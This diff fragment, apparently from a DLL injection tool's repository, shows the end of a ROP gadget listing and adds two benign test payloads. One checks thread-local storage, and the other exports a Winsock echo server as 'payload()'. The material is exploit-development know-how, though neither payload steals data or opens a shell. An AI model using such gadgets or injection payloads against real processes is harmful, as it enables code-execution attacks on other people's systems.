+0x0000000180090c87: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rbx + rcx*4 + 0x43], al; or byte ptr [rbx], ch; ret; 
+0x000000018004862c: xchg eax, esp; and al, 0x18; add dword ptr [rax], eax; add byte ptr [rax - 0x7d], cl; ret 0x4850; 
+0x0000000180047a23: xchg eax, esp; and al, 0x70; add dword ptr [rax], eax; add byte ptr [rax - 0x7f], cl; ret 0x2d8; 
+0x000000018001e266: xchg eax, esp; and al, 0x88; add byte ptr [rax], al; add byte ptr [rcx - 0x75], al; ret 0xb725; 
+0x000000018004e6a1: xchg eax, esp; and al, 0xb8; add dword ptr [rax], eax; add dh, dh; ret 0x7510; 
+0x000000018005008a: xchg eax, esp; and al, 0xd0; add byte ptr [rax], al; add byte ptr [rax - 0x7d], cl; ret 0x4430; 
+0x00000001800a51b0: xchg eax, esp; ret 0x18; 
+0x00000001800084e0: xchg eax, esp; ret 0x19e8; 
+0x0000000180029ff3: xchg eax, esp; ret 0x1ae8; 
+0x000000018009e1a4: xchg eax, esp; ret 0x8b41; 
+0x00000001800cc695: xchg eax, esp; ret 0xc3f7; 
+0x000000018006a1fd: xchg eax, esp; ret 0xc4a0; 
+0x00000001800aaa04: xchg eax, esp; ret 0xc8a0; 
+0x00000001800f5039: xchg eax, esp; ret 0xff48; 
+0x0000000180006985: xchg eax, esp; ret; 
+0x000000018001293c: xchg eax, esp; ror byte ptr [rax - 0x75], 0x5c; and al, 0x30; add rsp, 0x20; pop rdi; ret; 
+0x000000018008b8c7: xchg eax, esp; ror byte ptr [rax - 0x7d], 0xc4; pop rbp; ret; 
+0x000000018003f382: xchg eax, esp; ror dword ptr [rax - 0x3b7cb7f5], 0x30; pop rbx; ret; 
+0x000000018008b125: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x20; pop rbp; ret; 
+0x00000001800cdadb: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x28; ret; 
+0x000000018008b14b: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x30; pop rbp; ret; 
+0x00000001800ffe59: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x38; ret; 
+0x000000018008bcb2: xchg eax, esp; ror dword ptr [rbx - 0x3b7cb73f], 0x60; pop rbp; ret; 
+0x000000018001b869: xchg eax, esp; ror dword ptr [rcx - 0x3b7cb7f5], 0x20; pop rbx; ret; 
+0x000000018005e702: xchg edi, esp; add byte ptr [rax], al; add byte ptr [rbx - 0x7bf0f803], al; ret 0x4a9; 
+0x00000001800101dd: xchg esp, edx; and al, 0; ret; 
+
+811 gadgets found

injectionPayloads/tls.cpp

@@ -0,0 +1,42 @@
+#include <windows.h>
+
+__thread unsigned int TLSGlobal = 0;
+bool failed;
+void threadEntry()
+{
+	unsigned int localVar = 0;
+
+	for(unsigned int n=0; n<10000000; n++)
+	{
+		TLSGlobal++;
+		localVar++;
+	}
+	
+	if (localVar != TLSGlobal)
+		failed = TRUE;
+}
+
+__declspec(dllexport) void payload()
+{
+	failed = FALSE;
+
+	DWORD threadIDs[10];
+	HANDLE threadHandles[10];
+
+	for(unsigned int n=0; n<10; n++)
+		threadHandles[n] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadEntry, 0, 0, &threadIDs[n]);
+
+	for(unsigned int n=0; n<10; n++)
+		WaitForSingleObject(threadHandles[n], INFINITE);
+
+	if (failed)
+		MessageBoxA(0, "Incorrect", "Results", 0);
+	else
+		MessageBoxA(0, "Correct", "Results", 0);
+}
+
+int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
+{
+	payload();
+	return 0;
+}

injectionPayloads/winsock.cpp

@@ -0,0 +1,146 @@
+#undef UNICODE
+
+#define WIN32_LEAN_AND_MEAN
+
+#include <windows.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+// Need to link with Ws2_32.lib
+#pragma comment (lib, "Ws2_32.lib")
+// #pragma comment (lib, "Mswsock.lib")
+
+#define DEFAULT_BUFLEN 512
+#define DEFAULT_PORT "27015"
+
+int __cdecl fff(void);
+
+__declspec(dllexport) void payload()
+{
+	ExitThread(fff());
+}
+
+int __cdecl fff(void) 
+{
+    WSADATA wsaData;
+    int iResult;
+
+    SOCKET ListenSocket = INVALID_SOCKET;
+    SOCKET ClientSocket = INVALID_SOCKET;
+
+    struct addrinfo *result = NULL;
+    struct addrinfo hints;
+
+    int iSendResult;
+    char recvbuf[DEFAULT_BUFLEN];
+    int recvbuflen = DEFAULT_BUFLEN;
+    
+    // Initialize Winsock
+    iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
+    if (iResult != 0) {
+        // printf("WSAStartup failed with error: %d\n", iResult);
+        return 1;
+    }
+
+    ZeroMemory(&hints, sizeof(hints));
+    hints.ai_family = AF_INET;
+    hints.ai_socktype = SOCK_STREAM;
+    hints.ai_protocol = IPPROTO_TCP;
+    hints.ai_flags = AI_PASSIVE;
+
+    // Resolve the server address and port
+    iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
+    if ( iResult != 0 ) {
+        // printf("getaddrinfo failed with error: %d\n", iResult);
+        WSACleanup();
+        return 1;
+    }
+
+    // Create a SOCKET for connecting to server
+    ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
+    if (ListenSocket == INVALID_SOCKET) {
+        // printf("socket failed with error: %ld\n", WSAGetLastError());
+        freeaddrinfo(result);
+        WSACleanup();
+        return 1;
+    }
+
+    // Setup the TCP listening socket
+    iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
+    if (iResult == SOCKET_ERROR) {
+        // printf("bind failed with error: %d\n", WSAGetLastError());
+        freeaddrinfo(result);
+        closesocket(ListenSocket);
+        WSACleanup();
+        return 1;
+    }
+
+    freeaddrinfo(result);
+
+    iResult = listen(ListenSocket, SOMAXCONN);
+    if (iResult == SOCKET_ERROR) {
+        // printf("listen failed with error: %d\n", WSAGetLastError());
+        closesocket(ListenSocket);
+        WSACleanup();
+        return 1;
+    }
+
+    // Accept a client socket
+    ClientSocket = accept(ListenSocket, NULL, NULL);
+    if (ClientSocket == INVALID_SOCKET) {
+        // printf("accept failed with error: %d\n", WSAGetLastError());
+        closesocket(ListenSocket);
+        WSACleanup();
+        return 1;
+    }
+
+    // No longer need server socket
+    closesocket(ListenSocket);
+
+    // Receive until the peer shuts down the connection
+    do {
+
+        iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
+        if (iResult > 0) {
+            // printf("Bytes received: %d\n", iResult);
+
+        // Echo the buffer back to the sender
+            iSendResult = send( ClientSocket, recvbuf, iResult, 0 );
+            if (iSendResult == SOCKET_ERROR) {
+                // printf("send failed with error: %d\n", WSAGetLastError());
+                closesocket(ClientSocket);
+                WSACleanup();
+                return 1;
+            }
+            // printf("Bytes sent: %d\n", iSendResult);
+        }
+        else if (iResult == 0)
+				{
+            // printf("Connection closing...\n");
+				}
+        else  {
+            // printf("recv failed with error: %d\n", WSAGetLastError());
+            closesocket(ClientSocket);
+            WSACleanup();
+            return 1;
+        }
+
+    } while (iResult > 0);
+
+    // shutdown the connection since we're done
+    iResult = shutdown(ClientSocket, SD_SEND);
+    if (iResult == SOCKET_ERROR) {
+        // printf("shutdown failed with error: %d\n", WSAGetLastError());
+        closesocket(ClientSocket);
+        WSACleanup();
+        return 1;
+    }
+
+    // cleanup
+    closesocket(ClientSocket);
+    WSACleanup();
+
+    return 0;
+}